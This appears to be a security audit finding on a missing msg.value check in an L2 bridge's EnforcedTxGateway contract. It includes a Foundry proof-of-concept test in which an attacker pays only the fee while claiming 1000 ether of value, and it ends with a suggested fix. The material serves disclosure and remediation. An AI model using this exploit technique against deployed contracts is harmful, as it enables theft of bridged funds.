Polished Inky Stork
High
Missing value
check in EnforceTxGateway::sendTranscation
, which allows attackers to obtain free funds by paying only a fee.
Look at this L177-L207:
function _sendTransaction(
address _sender,
address _target,
=> uint256 _value,
uint256 _gasLimit,
bytes calldata _data,
address _refundAddress
) internal nonReentrant {
address _messageQueue = messageQueue;
// charge fee
uint256 _fee = IL1MessageQueue(_messageQueue).estimateCrossDomainMessageFee(_sender, _gasLimit);
require(msg.value >= _fee, "Insufficient value for fee");
if (_fee > 0) {
(bool _success, ) = feeVault.call{value: _fee}("");
require(_success, "Failed to deduct the fee");
}
// append transaction
=> IL1MessageQueue(_messageQueue).appendEnforcedTransaction(_sender, _target, _value, _gasLimit, _data);
// refund fee to `_refundAddress`
unchecked {
uint256 _refund = msg.value - _fee;
if (_refund > 0) {
(bool _success, ) = _refundAddress.call{value: _refund}("");
require(_success, "Failed to refund the fee");
}
}
}
}
There is no check that the _value
parameter is equal to msg.value
or msg.value
is greater than _value
.
There is only a check that msg.value
must be greater than or equal to _fee
.
Then, _sendTransaction
triggers IL1MessageQueue.appendEnforcedTransaction
with the _value
parameter.
As a result, anyone can execute an EnforceTxGateway::sendTransaction
filling in the _value
parameter with any value they want, and only pay a fee. The transaction will then be processed into an L2 transaction.
1. The attacker performs EnforceTxGateway::sendTranscation
with the _value
parameter is 1000e18
, and only pays the fee.
2. Then the attacker transaction will be processed into an L2 transaction with the _value
parameter.
- The attacker will get free funds in L2.
- Modify this function first, as the test uses foundry startPrank:
function sendTransaction(
address _target,
uint256 _value,
uint256 _gasLimit,
bytes calldata _data
) external payable whenNotPaused {
// solhint-disable-next-line avoid-tx-origin
_sendTransaction(msg.sender, _target, _value, _gasLimit, _data, msg.sender);
}
- Paste the code below into the new test file.
- Run with
forge test -vvvv --match-test test_attacker_get_free_funds
pragma solidity =0.8.24;
import "forge-std/Test.sol";
import "../l1/gateways/EnforcedTxGateway.sol";
import {ITransparentUpgradeableProxy, TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ECDSAUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
import {Whitelist} from "../libraries/common/Whitelist.sol";
import {L1CrossDomainMessenger} from "../l1/L1CrossDomainMessenger.sol";
import {L1MessageQueueWithGasPriceOracle} from "../l1/rollup/L1MessageQueueWithGasPriceOracle.sol";
import {L1Staking} from "../l1/staking/L1Staking.sol";
import {Rollup} from "../l1/rollup/Rollup.sol";
import {IRollup} from "../l1/rollup/IRollup.sol";
import {MockZkEvmVerifier} from "../mock/MockZkEvmVerifier.sol";
import {EmptyContract} from "../misc/EmptyContract.sol";
contract EnforcedTxGatewayTest is Test {
using ECDSAUpgradeable for bytes32;
EnforcedTxGateway enforcedTxGatewayImpl;
EnforcedTxGateway enforcedTxGateway;
EmptyContract public emptyContract;
address attacker;
address target;
L1Staking public l1Staking;
L1Staking public l1StakingImpl;
uint256 public constant STAKING_VALUE = 1e18; // 1 eth
uint256 public constant CHALLENGE_DEPOSIT = 1e18; // 1 eth
uint256 public constant LOCK_BLOCKS = 3;
uint256 public rewardPercentage = 20;
uint32 public defaultGasLimitAdd = 1000000;
uint32 public defaultGasLimitRemove = 10000000;
// Rollup config
Rollup public rollup;
Rollup public rollupImpl;
MockZkEvmVerifier public verifier = new MockZkEvmVerifier();
uint256 public proofWindow = 100;
uint256 public maxNumTxInChunk = 10;
uint64 public layer2ChainID = 53077;
// whitelist config
Whitelist public whitelistChecker;
// L1MessageQueueWithGasPriceOracle config
L1MessageQueueWithGasPriceOracle public l1MessageQueueWithGasPriceOracle;
uint256 public l1MessageQueueMaxGasLimit = 100000000;
uint32 public defaultGasLimit = 1000000;
// L1CrossDomainMessenger config
L1CrossDomainMessenger public l1CrossDomainMessenger;
L1CrossDomainMessenger public l1CrossDomainMessengerImpl;
address public l1FeeVault = address(3033);
uint256 public finalizationPeriodSeconds = 2;
bytes32 private constant _ENFORCED_TX_TYPEHASH =
keccak256(
"EnforcedTransaction(address sender,address target,uint256 value,uint256 gasLimit,bytes data,uint256 nonce,uint256 deadline)"
);
function setUp() public {
emptyContract = new EmptyContract();
whitelistChecker = new Whitelist(address(this));
TransparentUpgradeableProxy rollupProxy = new TransparentUpgradeableProxy(
address(emptyContract),
address(this),
new bytes(0)
);
TransparentUpgradeableProxy l1CrossDomainMessengerProxy = new TransparentUpgradeableProxy(
address(emptyContract),
address(this),
new bytes(0)
);
TransparentUpgradeableProxy l1MessageQueueWithGasPriceOracleProxy = new TransparentUpgradeableProxy(
address(emptyContract),
address(this),
new bytes(0)
);
TransparentUpgradeableProxy l1StakingProxy = new TransparentUpgradeableProxy(
address(emptyContract),
address(this),
new bytes(0)
);
TransparentUpgradeableProxy enforcedTxGatewayProxy = new TransparentUpgradeableProxy(
address(emptyContract),
address(this),
new bytes(0)
);
// deploy impl
rollupImpl = new Rollup(layer2ChainID);
L1MessageQueueWithGasPriceOracle l1MessageQueueWithGasPriceOracleImpl = new L1MessageQueueWithGasPriceOracle(
payable(address(l1CrossDomainMessengerProxy)),
address(rollupProxy),
address(enforcedTxGatewayProxy)
);
l1CrossDomainMessengerImpl = new L1CrossDomainMessenger();
l1StakingImpl = new L1Staking(payable(l1CrossDomainMessengerProxy));
// upgrade and initialize
ITransparentUpgradeableProxy(address(rollupProxy)).upgradeToAndCall(
address(rollupImpl),
abi.encodeCall(
Rollup.initialize,
(
address(l1StakingProxy),
address(l1MessageQueueWithGasPriceOracleProxy), // _messageQueue
address(verifier), // _verifier
maxNumTxInChunk, // _maxNumTxInChunk
finalizationPeriodSeconds, // _finalizationPeriodSeconds
proofWindow // _proofWindow
)
)
);
ITransparentUpgradeableProxy(address(l1MessageQueueWithGasPriceOracleProxy)).upgradeToAndCall(
address(l1MessageQueueWithGasPriceOracleImpl),
abi.encodeCall(
L1MessageQueueWithGasPriceOracle.initialize,
(
l1MessageQueueMaxGasLimit, // gasLimit
address(whitelistChecker) // whitelistChecker
)
)
);
ITransparentUpgradeableProxy(address(l1CrossDomainMessengerProxy)).upgradeToAndCall(
address(l1CrossDomainMessengerImpl),
abi.encodeCall(
L1CrossDomainMessenger.initialize,
(
l1FeeVault, // feeVault
address(rollupProxy), // rollup
address(l1MessageQueueWithGasPriceOracleProxy) // messageQueue
)
)
);
ITransparentUpgradeableProxy(address(l1StakingProxy)).upgradeToAndCall(
address(l1StakingImpl),
abi.encodeCall(
L1Staking.initialize,
(
address(rollupProxy),
STAKING_VALUE,
CHALLENGE_DEPOSIT,
LOCK_BLOCKS,
rewardPercentage,
defaultGasLimitAdd,
defaultGasLimitRemove
)
)
);
l1CrossDomainMessenger = L1CrossDomainMessenger(payable(address(l1CrossDomainMessengerProxy)));
rollup = Rollup(payable(address(rollupProxy)));
l1MessageQueueWithGasPriceOracle = L1MessageQueueWithGasPriceOracle(
address(l1MessageQueueWithGasPriceOracleProxy)
);
l1Staking = L1Staking(address(l1StakingProxy));
enforcedTxGatewayImpl = new EnforcedTxGateway();
ITransparentUpgradeableProxy(address(enforcedTxGatewayProxy)).upgradeToAndCall(
address(enforcedTxGatewayImpl),
abi.encodeCall(
EnforcedTxGateway.initialize,
(
address(l1MessageQueueWithGasPriceOracle), // gasLimit
l1FeeVault // whitelistChecker
)
)
);
enforcedTxGateway = EnforcedTxGateway(address(enforcedTxGatewayProxy));
attacker = makeAddr("attacker");
target = makeAddr("target");
deal(attacker, 2 ether);
}
function test_attacker_get_free_funds() public {
uint256 value = 1000e18;
uint256 gaslimit = 1e6;
bytes memory data = abi.encode("");
vm.startPrank(attacker);
enforcedTxGateway.sendTransaction{value: 0.0007 ether}(target, value, gaslimit, data);
}
}
Verify that msg.value
is greater than the _value
parameter.